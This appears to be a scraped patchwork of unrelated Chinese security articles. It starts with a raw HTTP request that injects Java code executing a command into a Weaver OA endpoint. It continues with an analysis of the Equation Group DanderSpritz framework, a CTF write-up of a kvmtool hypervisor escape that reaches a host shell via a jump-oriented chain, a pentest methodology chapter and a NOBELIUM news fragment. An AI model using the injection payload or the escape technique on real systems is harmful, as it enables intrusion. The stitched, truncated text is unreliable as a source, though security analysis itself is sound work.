Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

cbhsgocnqwv14947.png



转载来自: https://xz.aliyun.com/t/11947

01.png

今年早些時候,Check Point Research發表了一篇關於“Jian”的文章。在這篇文章中,我們介紹了DanderSpritz框架。

DanderSpritz是什麼?DanderSpritz是Equation Group使用的一個功能齊全的開發後框架。這個框架通常是在利用設備並部署了PeddleCheap之後使用的。 DanderSpritz是非常模塊化的,包含各種各樣的工具,用於持久性、偵察、橫向移動、繞過防病毒引擎和其他此類可疑活動的各種工具。 DanderSpritz 結構和執行流程

在“Lost in Translation”洩漏的目錄樹中,可以發現DanderSpritz邏輯被分為兩部分:

1.png

dderspritz的核心功能包含在文件DszLpCore.exe中,該文件可以在windows/bin中找到。框架的插件和復雜組件,包括我們稍後將詳細討論的DoubleFeature,可以在windows/resources中找到。 fuzzbunch、implants 和windows 下的其他目錄包含獨立於DanderSpritz 的模塊,用於利用自身、控制受害者係統、初始數據收集等。

DanderSpritz 中的基本邏輯單元就是我們所說的“插件”,駐留在windows/resources中,大約有十幾個,它們有一個非常特定的目錄結構。

windows\\resources 下還有一些其他目錄,它們不是插件,而是包含各種輔助腳本。

2.png

Aliases和Commands:它們都包含聲明支持““aliases” 和“commands”的XML 文件,它們分別提供類似的功能。當DanderSpritz 框架的用戶發出一個shell 命令,DanderSpritz 將遍歷每個插件,檢查這些XML 並驗證他們是否聲明支持用戶輸入的shell 命令。如果命令出現在Aliases 下,它將被簡單地映射到現有腳本;命令通常會在幕後以某種方式調用插件的內部邏輯。這實際上意味著DanderSpritz 的用戶可以運行許多不同的shell 命令來實現不同的結果。在Commands(但不是Aliases )下,除了XML 之外,還有一個XSL 文件,它指定返回給DanderSpritz 用戶的命令輸出的格式。

Modules:大部分插件邏輯都包含在這個目錄中。從名稱可以看出,該邏輯被進一步劃分為更小的功能“模塊”。 descriptions子目錄包含一個XML 文件,它是一種“manifest”。它詳細說明了應該在受害者設備和“LP”(“Listening Post”,攻擊者控制的遠程監控受害者的設備)上運行哪些腳本和二進製文件。它還列出了插件對其他模塊的依賴、它的接口數據、它支持的計算架構以及它應該在受害設備上還是在LP 上運行。一些插件還包含具有類似功能的有效載荷目錄。

PyLp:包含XML 文件,用於格式化從受害者設備中洩露的傳入信息。對於每種“消息類型”(一種洩露的信息),XML 指定一個Python 腳本,用於格式化數據以方便顯示。此格式化腳本位於PyScripts 目錄中。

PyScripts:框架使用的所有雜項Python 腳本都在此目錄中。

Scripts:這個目錄還包含雜項腳本,這些腳本是用一些重印記的腳本語言編寫的,在Python 崛起之前,這些腳本語言似乎可以合理使用。

Tools:開發者認為他們寧願按原樣包含和調用的自包含材料(PE、DLL、腳本、JAR、文本文件等)。

Uploads:由插件推送到受害者係統的獨立二進製文件。

Version:包含一個包含插件版本的XML 文件。

下面我們詳細介紹調用插件Aliases或Commands時的典型控制流程。

DanderSpritz 用戶在DanderSpritz 用戶界面中輸入一個shell 命令,該命令在幕後使用該特定插件實現。

3.webp.jpg

DanderSpritz 的用戶界面及其shell 命令

1.DanderSpritz 的主要邏輯遍歷resources目錄,一個接一個地查看插件目錄。對於每個插件目錄,DanderSpritz 查看aliases 子目錄和commands 子目錄,並仔細檢查其中的XML 文件,尋找與shell 命令匹配的聲明的導出功能。找到匹配項,並且匹配的XML 元素指定插件的pyscripts 目錄中的路徑。

2.DanderSpritz 計算調用腳本的完全限定路徑(通過將匹配的XML 元素中指定的路徑附加到插件的pyscripts 目錄的路徑)並執行該文件。這是顯示調用的shell命令的用戶界面的位置,插件可以說是正常運行的。

3.現在,攻擊者可以隨時盯著他們調用的工具的UI。最終,他們可能希望通過此UI 調用某些功能。根據選擇的功能,Python UI 構造一個遠程進程調用。它將此RPC 發送到受害設備上的DanderSpritz 組件。受害者端的這個組件然後執行調用並返回結果。這樣,RPC 就被用作LP 上的組件訪問的API,以在受害設備上執行操作(例如收集屏幕截圖或錄製語音)。此API 與這些操作在受害組件端實際實現的方式分離。

4.RPC 返回攻擊者所需的寶貴信息,Python UI 在插件的PyLP 目錄中查詢與結果的消息類型匹配的XML。這個XML 指定瞭如何在LP 端顯示返回的信息,UI 也是如此。

4.png

特定命令的XML 文件(LP 和Target)示例

DoubleFeature為了更好地理解上述結構和流程,我們將研究重點放在了DanderSpritz 的一個名為Doublefeature(簡稱Df)的組件上。根據它自己的內部文檔,這個插件“生成關於可以部署在目標上的工具類型的日誌和報告”;許多框架工具,在它們自己的內部文檔中,聲稱DoubleFeature是唯一的方法來確認他們在一個被破壞的系統上的存在。經過一段時間的停頓,我們認為至少這意味著DoubleFeature 可以用作一種Rosetta Stone,以更好地理解DanderSpritz 模塊和受其影響的系統。

5.webp.jpg

strangeland.py 的代碼指的是確認的唯一方法是使用DF

不幸的是,由於DoubleFeature 作為日誌模塊的獨特功能,它收集了大量各種類型的數據。 RPC 返回值和XSL 標記不適合在這種規模上傳輸和顯示信息。

6.webp.jpg

DoubleFeature 主菜單

DoubleFeature PyScripts目錄包含Python的UI界面(doublefeature.py),但是當攻擊者從UI 菜單中選擇一個選項時,在幕後,腳本會變成一個“模板”DLL,DoubleFeatureDll.dll.unfinalized ,位於插件的上傳目錄中。 Python 調用插件工具目錄中的外部工具AddResource.exe ,將資源植入已編譯的DLL,使用新名稱:DoubleFeatureDll.dll.configured。確切的命令運行是:

*localrun-redirectcommand'cmpf61104'*'命令使用的標誌解釋如下。

c (compressed) ——Zlib 壓縮數據;

m (munge)=通過與偽隨機字節異或來混淆資源。字節是通過運行PRNG(32 位LCG)並使用執行時間戳作為種子生成的;為了允許恢復,種子被添加到混淆的資源中;

p (place)=將資源放入homebrew資源目錄;

f (finalize)=私有資源目錄;

6=資源類型(此時,枚舉值6 轉換為RT_STRING,一個字符串表條目);

1104=資源名稱。

在主插件DLL ** 被賦予這個新資源後,Python UI 使用DanderSpritz dllload shell 命令將其加載到受害設備上:

dllload -ordinal 1 -library

一旦受害者端的DLL 完成運行並將報告寫入受害者設備上的日誌文件,Python UI 就會使用以下DanderSpritz shell 命令將日誌文件提取回攻擊者設備:

foregroundget-nameDFReport雖然DanderSpritz 命令的大部分輸出是根據XSL 規範查看的,但DoubleFeature 的輸出太大且變化太多,因此這種方法不可行。相反,攻擊者通常使用為此目的編寫的專門程序——DoubleFeatureReader.exe,查看日誌文件,該程序可以在插件的工具目錄中找到。

DoubleFeature 將其所有日誌數據寫入名為~yh56816.tmp 的調試日誌文件嗎,此日誌文件使用AES 算法加密。除非用戶手動更改密鑰,否則使用的默認密鑰是badc0deb33ff00d。

DoubleFeature 的主DLL當修復的DLL ( DoubleFeatureDll.dll.configured ) 首次加載到受害設備上時,它會在自製軟件資源目錄中查找名為“106”的資源。該目錄位於實際代碼之後的“.text”部分,DLL 能夠通過搜索不同的魔法值來找到它。 homebrew 資源目錄具有以下結構:

7.png

這個資源(與之前通過調用AddResource.exe移植到DLL的資源不同)在靜止狀態下是加密的,為了使用它,必須對它進行解密和解壓縮。

8.png

資源106 解壓縮後,是一個名為hidsvc.sys 的驅動程序。它通過調用CVE-2017-0005 的EpMe 漏洞加載到內核中。加載驅動程序後,DLL 開始使用DeviceIoControl 與其通信。驅動程序支持的最有趣的IOControlCode 是0x85892408,它允許用戶模式代碼通過簡單地指定功能名稱和參數來直接調用內核功能。驅動程序希望使用此代碼的傳入消息與以下結構捆綁在一起:

9.png

在接收到這個結構體後,驅動程序遍歷ntoskernl.exe 的每個導出函數,計算結果校驗和並將結果與提供的export_func_hash 進行比較。一旦找到匹配項,驅動程序就會得出結論,它已找到正確的函數。這是混淆API 調用的標準方法,在許多其他惡意軟件中都可以看到。

校驗和計算邏輯如下所示:

10.png

一些校驗和值示例:

11.png

這還不是唯一的困難,DoubleFeature 中使用的字符串是解密的,這本身就是非常標準的,但按需對每個函數進行解密,一旦函數執行完成,它們就會重新加密,這比平常更令人沮喪,DoubleFeature 還支持其他混淆方法,例如簡單的替換密碼:

12.png

以及一個基於簡單自製線性PRNG的流密碼:

13.png

如上所述,憑藉其函數,DoubleFeature 是與Equation Group工具相關的唯一知識來源。畢竟,整個日誌記錄模塊依賴於在受害系統上查詢這些工具並驗證哪些工具存在的能力。下面我們列出了日誌模塊探測到的一些工具,其中一些是未知的。

除了在DLL 的執行流程中使用的資源106 和1104 外,主DLL 的homebrew資源目錄還包含以下資源:

資源1004:UnitedRake 重新啟動DLL。

資源1005:UnitedRake 關閉DLL。

資源1006:StraitBiZarre 重新啟動DLL。

資源200:與BCD 分區數據進行比較的已知引導管理器的哈希值。

資源1007:升級KillSuit 模塊DLL,在代碼中可以找到對它的引用,但在目錄中不再物理找到它。可能它存在於DLL 的早期版本中,後來被刪除了。

DoubleFeature 監控的插件UnitedRakeUnitedRake (UR) 是一種遠程訪問工具,可用於針對Windows 設備。它是一個可擴展的模塊化框架,提供了大量執行不同信息收集功能的插件。

UnitedRake 指標如下:

1.MSNDSRV.sys:內核模式階段0 和rootkit。實現用於過濾網絡流量的NDIS 驅動程序。直到UR 4.0 版。

2.ATMDKDRV.sys :網絡嗅探器/修復程序。從UR 4.1 版開始。

3.“Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib” or “\Registry\Machine\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2209}\TypeLib”:包含UR 的GUID,特殊項註冊表項

4.“\Registry\Machine\System\CurrentControlSet\Control\Session Manager\MemSubSys\{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}”:KillSuit記錄與註冊表相關的數據。

5.“Global\64322D88-0CEA-4ce0-8562-67345B70C655”:在TipOff 命令中創建的文件映射。

6.“*Global\*6F27089A-3482-4109-8F5B-CB3143A1AB9A” 和“*Global\*667FBF02-F406-4C0A-BA65-893747A0D372”:在UR 關閉時創建的事件。

7.{A0CCDC61-7623-A425-7002-DB81F353945F-5A8ECFAD}: UnitedRake 3/4 配置數據和傳輸信息CLSID;

8.{30F3976F-90F0-B438-D324-07E031C7507E-981BE0DD}:UnitedRake 插件信息CLSID;

9.{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}:UnitedRake 記錄數據CLSID;

10.{01C482BA-BD31-4874-A08B-A93EA5BCE511} :UnitedRake 的互斥鎖名稱。

StraitBizarreStraitBizarre (SBZ) 是一種用於隱秘數據洩露的植入程序,它通過FriezeRamp 執行——一種類似於IPSEC 的自定義網絡協議。這是一個跨平台項目,存在支持Windows、Linux 和移動平台的不同版本(例如iPhone 的DROPOUTJEEP,甚至Windows Mobile 的TOTEGHOSTLY)。

14.webp.jpg

StraitBizzare 信息

我們在DoubleFeature 中發現了以下StraitBizarre 指標:

{1B8C5912-8BE4-11D1-B8D3-F5B42019CAED}:用於GUID,版本和特殊狀態項的SBZ CLSID。

在這個挑戰中,我們被賦予了運行在hypervisor中的linux虛擬機的root權限,目標是實現hypervisor逃逸,以訪問宿主機系統上的旗標文件。在這個過程中,我們發現了多個安全漏洞,通過它們可以實現lkvm的零日攻擊,使得具有虛擬機訪問權限的攻擊者能夠在宿主機上執行任意命令。

在這篇文章中,當提到行號時,請參考kvmtool的git checkout 39181fc6429f4e9e71473284940e35857b42772a。

攻擊面由於我們是在hypervisor內運行,並且宿主機和虛擬機內存之間實現了顯式的隔離,因此,我們需要找到一種方法與宿主機的進程進行通信。實際上,我們可以通過pci與宿主機進行通信,因為Lkvm通過pci模擬了3個硬件設備:virtio-console、virtio-net和virtio-balloon。我們可以使用內存映射的IO與這些設備進行交互,也就是對特定的物理內存地址進行讀取和寫入操作。如果我們對0xd2000000-0xd20000ff(balloon-virtio)範圍內的地址進行寫操作,虛擬機就會被中斷,並且控制流將被傳遞給linux系統的kvm驅動程序,然後進一步傳遞給lkvm進程。

信息洩露當從這個地址執行讀取操作時,我們首先遇到的一個函數是virtio/pci.c第148行的virtio_pci__data_in函數:

image.png

該函數可以將偏移量映射為bar(地址範圍),這意味著,如果我們在地址0xD2000000+VIRTIO_PCI_QUEUE_NUM==0xD2000008處執行讀取操作,我們將進入第二個case子句。需要注意的是,這裡的默認case子句非常有趣:在第118行調用virtio_pci__specific_data_in:

image.png

在這裡,我們總是以else if的case子句結束,因為這不是MSIX操作。另外,config_offset是根據從virtio_pci__data_in傳遞的偏移量來計算的,我們看到它具有完整的訪問權限,並且沒有進行任何綁定檢查。並且,config_offset的值是在調用virtio__get_dev_specific_field時作為返回參數進行計算的。如果我們沒有執行MSIX操作,config_offset就是設置為傳遞給virtio__get_dev_specific_field的第一個參數的值,其偏移量為-20。

到目前為止,我們只討論了virtio和pci泛型函數,但這裡調用了ops-get_config,在本例中,它從balloon驅動程序中提取了u8*配置。這個函數只是一個簡單的getter,代碼如下所示:

image.png

正如我們在下面所看到的,virtio_balloon_config是結構體的最後一個元素;讀者可能已經註意到了,config結構體非常小。由於bar(地址範圍)為0x100(0xD2000000-0xD20000FF),因此,只要將偏移量設置為大於20,我們就能以0x10020+sizeof(virtio_balloon_config)的形式訪問這個config結構體。在這個地址範圍內執行寫入操作時,相當於對config結構體執行寫操作,這意味著我們獲得了一個越界讀/寫原語。

image.png

這段內存並沒有分配在堆棧上,而是分配到一個mmaped區域中。這意味著我們無法通過破壞這個內存區來控製程序流。但是,我們能夠利用這個漏洞來洩露信息,即洩露兩個感興趣的指針,其中一個指向bln_dev結構體本身的地址,另一個指向lkvm二進製文件的基址。

為了在用戶空間進程中洩漏這兩個指針,我們可以使用/dev/mem來訪問虛擬機的物理內存,具體代碼如下所示:

image.png

這裡,leak_u64使用ioread8從virtio-balloon所在的0xD2000000處的mmap/dev/mem區域讀取數據。我們將這20個字節加上一個越界的偏移量,使其正好指向lkvm可執行文件的地址,這樣我們就能實現信息洩漏了。對於bln_dev洩漏,我們可以重複相同的過程。

獲得程序流程的控制權現在終於到了最有趣的部分:控制rip。假如我們能利用前面的漏洞來編寫任意的越界代碼,那麼,我們可以破壞哪些有趣的數據呢?在下圖中,我在virtio_pci__specific_data_in函數中設置了一個斷點來檢查bln_dev內存。在這裡,我轉儲了位於config結構體後面的內存內容。其中,我們看到一些名為exit_lists的結構體,不幸的是,由於我們可以突破0x100的限制,所以,這些結構體都是可達的。但這些到底是什麼?

1.png

由於virtio_pci__specific_data_in中的偏移量-20導致轉儲不是0x10對齊的,所以地址可能會有點亂

當lkvm二進製文件關閉時,它會進行拆卸處理,包括調用一些退出處理程序,這就是我們在這裡發現的東西。如果我們查看init.c內部的第51行,我們會發現代碼非常平易近人:

image.png

這裡可以看到,在退出lkvm時,會遍歷struct init_item數組,並從數組中的最後一個元素開始,對每個元素調用t-init函數。這就是前面發現的exit_lists。列表中的每個條目都是指向init_item的指針(該結構體也用於初始化,它也因此得名)。如果我們能夠控制其中的指針,我們就就能偽造一個init_item,並在終止虛擬機操作系統時改變程序流程。

image.png

查看上面init_item的struct定義,我們就會發現它其實非常簡單:其中包含2個鍊錶指針、一個名稱指針和我們想要控制的函數指針,它相對於init_item頂部的偏移量為0x18。

實際上,我們之前在virtio_pci__data_in函數中還發現了其他功能,而不僅僅是對config進行讀取和寫入操作。下面,讓我們看一下virtio/pci.c第287行中該函數的等價物data_out:

image.png

這裡,我們對VIRTIO_PCI_QUEUE_PFN的第二個case子句非常感興趣,因為它調用了virtio-balloon特定的init虛擬隊列函數。我們可以在virtio/balloon.c中的第200行找到這個函數,具體如下所示:

image.png

正如我們所看到的,當調用vring_init時,它將vr-desc=p設置為完全處於我們控制之下的虛擬機物理頁面。我們可以看到,vring_init是從init_vq中調用的,參數是p,而p是從virtio_get_vq中獲得的,在那裡它可以找到給定頁幀號(pfn)的宿主機虛擬地址。在init_vq中,我們看到參數vq被用來計算進入bdev-vqs數組的偏移量。這個queue=bdev-vqs[vq]; 語句又是完全沒有任何約束檢查的,儘管在任何給定時間只有3個隊列。這意味著,只要控制了vq參數,我們就可以有效地插入一個指向虛擬機內存的邊界之外的指針。

在virtio_pci__data_out的代碼清單中,對init_vq的調用是作為vq的參數通過vpci-queue_selector進行傳遞的,在同一個清單中,我們還發現完全可以通過switch語句中的VIRTIO_PCI_QUEUE_SEL子句來控制vpci-queue_selector。

通過下面vring*vr的結構體定義,我們可以看到它有4個成員,大小為0x20,這意味著我們不能在任意位置插入這個指針。實際上,只有在偏移量0x20*x+8處,我們才能完全控制x。

image.png

大家肯定還記得,我們的exit_lists離這個bdev結構體的位置並不遠,而且,現在我們還獲得了一個未綁定的、指示插入位置的指針,所以,我們只要將vq設置為0x16,那麼,我們就能在這個exit_lists的最後一個條目中插入這個指針,具體代碼如下所示:

image.png

這裡,我們將頁幀號設置為0x1,這表示虛擬機物理地址0x1000,並再次使用/dev/mem,將物理地址0x1000映射為我們具有讀寫權限的用戶空間進程中的一個地址。顯然,以任何正常的方式重新引導或退出虛擬機操作系統,都不會調用這些退出處理程序,但幸運的是,在未定義的指令導致內核崩潰時,卻會調用這些程序。哈哈,大家還記得echo c /proc/sysrq-trigger嗎?

退出前的內存轉儲:

1.png

0x41代表字母A

這裡我們看到,所有從上面的memset插入的“A”,都出現在exit_lists+72內的地址上。很明顯,我們現在已經控制了程序流程,因為t-init(kvm)調用的這個地址完全處於我們的控制之下。既然已經得到了控制權,我們自然就可以重定向程序流程了。

現在,我們需要將代碼重定向到一個目標,以便在宿主機系統上執行代碼或命令,幸運的是,這個二進製文件含有返回函數virtio_net_exec_script的ret gadget:

1.png

超級好用的ret gadget

現在,如果我們能夠控制$rdi寄存器並跳轉到virtio_net_exec_script中用紅色箭頭標記的指令,就可以成功調用execl(command_we_control,),從而在宿主機系統上執行命令。

綜合起來現在,我們已經能夠偽造init_item,啟動調用exevl的ROP鏈,或者說是JOP鏈,接下來,我們將藉助於Jump oriented programming技術實現我們的目標。總而言之,我們現在利用第一個安全漏洞實現了指針洩露,並能控制該內存區域中一些字節的值,因為我們可以在洩漏的內區域中隨意執行寫入操作。同時,我們還找到了一種控制rip的方法,但遺憾的是,我們還無法控制函數調用t-init(kvm)中的參數kvm。

當我們第一次調用t-init時,$rbx指向我們偽造的init_item,也就是處於我們的控制之下的一段內存。

首先,我們要跳到這個gadget: mov rax, qword ptr [rbx +0x28]; mov rdi, rbx; mov rsi, qword ptr [rax + 8]; call qword ptr [rax];

這將交換rbx和rdi寄存器中的值,使我們能夠控制任何函數調用的第一個參數,並再次通過[$rbx +0x28]獲取一個新的跳轉位置。

現在,我們可以直接跳到前面介紹的那個超級棒的gadget代碼處了,因為我們現在能夠控制$rdi了。

1.png大功告成

現在,代碼將調用execl('/bin/sh', '', null);並返回一個shell!我們已經為這個漏洞申請了編號CVE-2021-45464,目前正在等待批准。至於完整的exploit,請參考原文末尾;但要注意的是,對於所有版本的lkvm來說,必須對利用代碼進行相應的修改:根據特定的二進制代碼修改gadget的偏移量。

本章將詳細介紹外部、DMZ、內部和關鍵資產的入網點的初始演練視角。初始視角是攻擊性安全評估的出發點,評估人員從此開始與目標系統進行交互,然後進行枚舉和漏洞利用。每種視角都會通過其在組織中評估和利用漏洞的能力進行對比。然後,根據攻擊面審查的效率和方式對這些視角進行比較。另外,文本還概述了每種視角的優缺點。在本章末尾,你就能了解不同的演練初始化點如何影響攻擊性安全評估,並了解CAPTR 團隊使用的關鍵資產視角是值得甚至是必要的。重要的是要注意,攻擊性安全評估是一個人工進行的過程,除了技術漏洞識別和利用工具外,還涉及情報和技能。初始視角幾乎影響手動攻擊性安全評估的所有方面,下面的分析將演示如何從不同的初始視角進行演練。下圖說明了演練中不同的初始視角。

1.png

外部初始演練視角外部演練視角是安全評估最傳統的出發點。外部演練初始視角通常從基於互聯網的入口開始,並將重點放在組織安全的外圍,如下圖所示。

2.png

DMZ 初始演練視角從DMZ的視角評估網絡需要從DMZ本身作為開始進行評估,重點不僅是從側面攻擊面向互聯網的服務器,而且還要評估從DMZ內部攻擊組織內部的能力。該視角評估的重點是確定對惡意攻擊者在DMZ內從一個DMZ託管的面向互聯網的設備轉移到另一個設備的能力以及攻擊者從DMZ移動到內部網絡的能力進行安全評估,如下圖所示。

3.png

內部初始演練視角內部視角使用網絡本身作為出發點。此視角通常通過網絡中機器上的用戶上下文來開展。在這個演練視角中,評估的重點是確定在該內部網絡中定位跳板機器和提升權限的能力,如下圖所示。

4.png

關鍵資產初始演練視角CAPTR 團隊從對組織構成最大風險的一個或多個存在點開始使用關鍵觀點。從這個視角進行評估的重點是識別此類設備的本地漏洞,這些漏洞可能使攻擊者入侵關鍵資產。然後,可以將評估擴展到組織中允許攻擊者轉向關鍵資產的點,並繼續向外擴展。第四種視角旨在緩解組織內網遭到破壞行為的影響,而不管允許攻擊者進入的漏洞或內部威脅的位置是否會影響這種評估視角。以入侵為目標開始安全評估,而不是評估潛在的起點,可以增強抵禦各種威脅的能力。該視角不同於內部初始視角,因為該視角是從CAPTR團隊範圍內確定的致命或關鍵資產點作為開始,而不僅僅是組織內的非特定特權或非特權訪問,如下圖所示。

5.png

對風險評估的影響為了比較和對比安全評估的四種不同初始視角,我接下來將對風險進行定量分析。影響面是衡量不同攻擊對象的破壞程度的指標。評級風險的另一部分是它發生的可能性。時間度量用於顯示可能性,它表示所花費的時間量,從給定的角度評估產生不同影響的信息折衷所需的時間。此評估還表明攻擊者可能也會這樣做。為了確定這些評估視角可能導致的結果的影響,我將影響分為四個級別,數字越高,表明該級別的設備如果受到攻擊,對組織的影響越大(見下圖)。 0級項目的影響可以忽略不計;3級項目對組織的存在和功能是致命的。為了確定每個視角可能識別的信息類型,我在下圖中創建了一個大圖,顯示了網絡的哪些部分可能在黑匣子中包含哪些級別的數據保護分類。

6.png

如前所述,可能性表示為從給定視角進行評估以確定具有給定影響面的結果所需的時間。例如,如果一個評估視角幾乎能夠立即找到具有給定保護級別的數據,那麼使用的視角很可能會評估該影響級別的風險。如果某個視角是需要花費時間並且通過跳板來訪問到不同的數據保護級別,則可能性很低。

重要的是要理解,評估過程中時間的流逝也可能會改變評估視角。評估可以從網絡的外部初始視角開始,然後通過漏洞利用,訪問DMZ中的設備。從這一點開始,評估就是多個攻擊角度的表示。隨著評估進一步深入網絡,該過程將繼續進行。所涉及的定義增量是時間、過渡視角和可能性。

對風險評估的影響:外部視角外部初始評估視角側重於網絡的外圍,只有在識別並利用組織最外層的漏洞後,才能轉移到組織的其他部分。因此,在評估的早期,很可能只有0級和1級相關的結果。時間可能允許演練通過深入網絡來破壞更高級別的數據;但是,因為這需要更長的測試時間,所以可能性被認為很低。下圖顯示了隨著評估時間的持續,這種視角的變化。

7.png

由於外部視角與網絡中的3級數據相距甚遠,因此到達這一點所需的時間較長,因此不太可能。儘管0級信息的影響很小,但幾乎可以肯定的是,這種可能性會產生與從這個視角發現的結果相關的中等風險。此視角不太可能產生更高級別的數據,因為它需要時間來發現其他漏洞,從而使該演練視角能夠深入組織。可能被評估的風險水平為低至中等。

對風險評估的影響:DMZ視角DMZ視角相對於外部視角具有優勢,因為它從組織的DMZ內已經存在的一個點開始,並且不必發現允許其從外網轉到DMZ的漏洞(見下圖)。

8.png

由於從這一角度進行評估不需要時間從外部角度進行內部分析,因此與高級別數據保護相關的發現更有可能,因為識別這些發現所需的時間較少,從而增加了發現有影響的威脅的可能性。 DMZ視角在評估中等風險水平方面具有最大潛力。

對風險評估的影響:內部視角從網絡中間存在點的初始視角來看,評估更有可能在1級和2級數據早期發現結果。與前面討論的兩種視角相比,這種視角還有一個副作用,即使用這種初始視角進行評估,實際上不太可能發現導致0級信息的發現。與前兩個視角一樣,從內部初始視角到能夠入侵3級數據的軸心需要時間。

下圖顯示,與0級數據一樣,從這一初始視角進行評估,要得出關於3級數據的調查結果,仍然需要時間。因此,最有可能找到風險等級1和2的數據。因為從這個視角來看,很快發現的漏洞不太可能破壞3級數據,所以它仍然不能代表對最高風險級別的有效評估。然而,內部視角顯然代表了大的潛在風險截面。

9.png

對風險評估的影響:關鍵視角使用關鍵初始視角的評估從網絡最有價值的地方開始。這意味著,與其他三個角度不同,3級數據被攻擊的結果在評估開始時確定。不幸的是,使用視角需要時間才能到達網絡中包含0到2級數據的點(見下圖)。

10.png

使用此視角可降低在評估期間發現1級和2級數據的可能性,且評估不太可能遇到0級數據的發現。關於一個組織的總體評估效率,這種初始視角在涵蓋所有風險級別時可能是最不有效的。它在查找級別3數據時非常有效,因為它從承載此類信息的設備開始。因此,這種評估視角更有可能發現導致3級數據被攻擊外洩的漏洞,因此,代表了評估組織面臨的最極端風險水平的能力。

對攻擊面覆蓋的影響下一步要在初始視角之間進行比較的是每個視角在評估期間審查攻擊面的能力。這是證明安全評估有效性的一個極其重要的屬性。儘管評估可能不會產生涵蓋極有價值的風險敞口的結果,但如果能夠評估組織的大部分攻擊面,評估仍然可能有效。攻擊面是能夠影響給定目標的任何實體或資產。安全評估的責任是通過評估漏洞來覆蓋攻擊面。但是,不能平等對待所有攻擊面,因為整個攻擊面的不同部分代表了對不同級別數據的潛在即時訪問。

例如,有一個更廣泛的攻擊面,由面向外網的面表示,因為它們受到的攻擊和枚舉嘗試次數要多得多。然而,正如已經顯示的那樣,允許訪問面向外網的服務器的漏洞最初可能並不一定會削弱組織。對每個初始視角如何影響攻擊面分析方式的剖析進一步說明了每個初始視角作為有效安全評估視角的情況,並展示了它們如何共同構成組織充分網絡安全評估的必要部分。

攻擊面覆蓋:外部視角組織中面向互聯網的部分是最容易暴露的,並且可以被最多的用戶和攻擊者訪問。因此,網絡的面向互聯網的層可以被歸類為具有最多的攻擊面。這裡存在的漏洞如果被利用,可能不會導致最嚴重的後果,但這是最有可能被發現的地方。大多數現代組織不得不承認,為互聯網用戶提供服務的本質增加了他們的風險。安全評估的外部視角為評估該攻擊面提供了最直接的方法,如下圖所示。

11.png

外部視角攻擊面評估

外部視角允許覆蓋組織的大片攻擊面。但是,如果在測試期間進行評估,那麼在評估深入到網絡之前還有一段時間。下圖顯示了評估的攻擊面(紅色部分),以及評估如何隨著時間推移過渡到攻擊面更深的部分。初始化時,第一個攻擊面金字塔(如下圖左側)顯示外部視角如何僅看到組織的外部攻擊面。中間金字塔表示從外部角度評估的中間部分,以及它將如何達到評估組織內部更深層次攻擊面的能力。右邊的金字塔顯示了評估的結束,以及它是如何檢查組織深層攻擊面的一部分,但不是全部。

攻擊面覆蓋:DMZ 視角在DMZ中開始評估消除了對漏洞的需要,從而使得評估人員繞過面向互聯網的防禦。因此,從這一視角進行的評估能夠更直接地評估DMZ中的其他設備,並通過橫向枚舉確定其脆弱性(見下圖)。

12.png

如上圖所示,DMZ演練視角在能夠開始評估DMZ中的設備之前不需要時間。它還能夠以比外部視角更快的方式開始探測內部網絡,因為外部視角是組織攻擊面的主體,在繼續之前必須首先解決。然而,這一評估視角面臨的一個潛在障礙是,它可能無法識別基於互聯網的掃描和攻擊存在的漏洞,因為DMZ中的設備應該與互聯網通信,而不是相互通信。

攻擊面覆蓋:內部視角內部視角承擔了內部威脅的責任,因此可以從網絡的更深層次入手,接觸到更多的攻擊面。這也意味著,與DMZ視角一樣,評估一個組織面對互聯網的威脅向量的能力並不容易實現,事實上,在這種情況下可能相當耗時(見下圖)。

14.png

內部視角攻擊面評估

內部演練視角的好處是,在直接環境中分析的攻擊面可能會導致漏洞的發現,這些漏洞可能會危害組織無意公開的數據。這與外部和DMZ評估觀點相反,外部和DMZ演練視角可能會在更大、更易訪問互聯網的攻擊面上發現許多意義不大的漏洞。

攻擊面覆蓋:關鍵視角關鍵視角分析了迄今為止一個組織最少的攻擊面。它與外部視角截然相反,外部視角在開始的時候就聚焦於一個非常大的面;關鍵視角關注的是優先部分。從這一點來看,假設從這個視角開始的評估能夠在任何合理的時間範圍內評估面向互聯網的服務是不現實的。該視角旨在提供與影響較大的對象相關的最危險攻擊面的最有效分析(見下圖)

15.png

關鍵視角攻擊面評估

關鍵視角評估接近組織攻擊面的不同部分的方式也與其他三個視角不同。例如,當IT部門在一個組織面向互聯網的周邊發現盡可能多的漏洞時,可以通過外部演練視角獲得最大的價值。這可能意味著評估人員不會利用已識別的漏洞深入組織,直到他們認為已對整個外部網絡進行了評估。這種嘗試的完整攻擊面覆蓋是其他評估視角的必要組成部分。關鍵資產視角不需要完全評估下一層。相反,關鍵視角將重點放在攻擊者如何將數據或機器轉移到無法接受的損失上。它不是尋找攻擊面上的所有漏洞,而是將重點放在那些使訪問能夠轉向致命和關鍵的風險項的點上。

全系列文章請查看:https://www.4hou.com/member/dwVJ

01.jpg

在微軟最近的一篇文章中,他們介紹了最新的安全保護策略以保護用戶免受NOBELIUM活動的影響,該活動針對的是技術服務提供商。

早在5 月,微軟就認定有俄羅斯背景的NOBELIUM 黑客組織要對持續數月的SolarWinds 網絡攻擊事件負責,並同企業、政府和執法機構達成了合作,以遏制此類網絡攻擊的負面影響。早些時候,微軟更進一步地剖析了NOBELIUM 使用的一套更加複雜的惡意軟件傳送方法。可知其用於造成破壞,並獲得“HTML Smuggling”系統的訪問權。微軟表示,HTML Smuggling 是一種利用合法HTML5 和JavaScript 功能、以高度規避安全系統檢測的惡意軟件傳送技術。近年來,這項技術已被越來越多地用於部署網銀惡意軟件、遠程訪問木馬(RAT)、以及其它有針對性的釣魚郵件活動。

Microsoft 365 和Microsoft Azure 中存在多種類型的信任鏈,包括委派管理權限(DAP)、Azure 代表管理員(AOBO)、Microsoft Azure Active Directory (Azure AD) 企業對企業(B2B) 、多租戶Azure AD 應用程序以及客戶用戶。其中許多信任鏈可以授予對Azure 資源和Microsoft 365 的高級訪問權限,這需要密切監視。

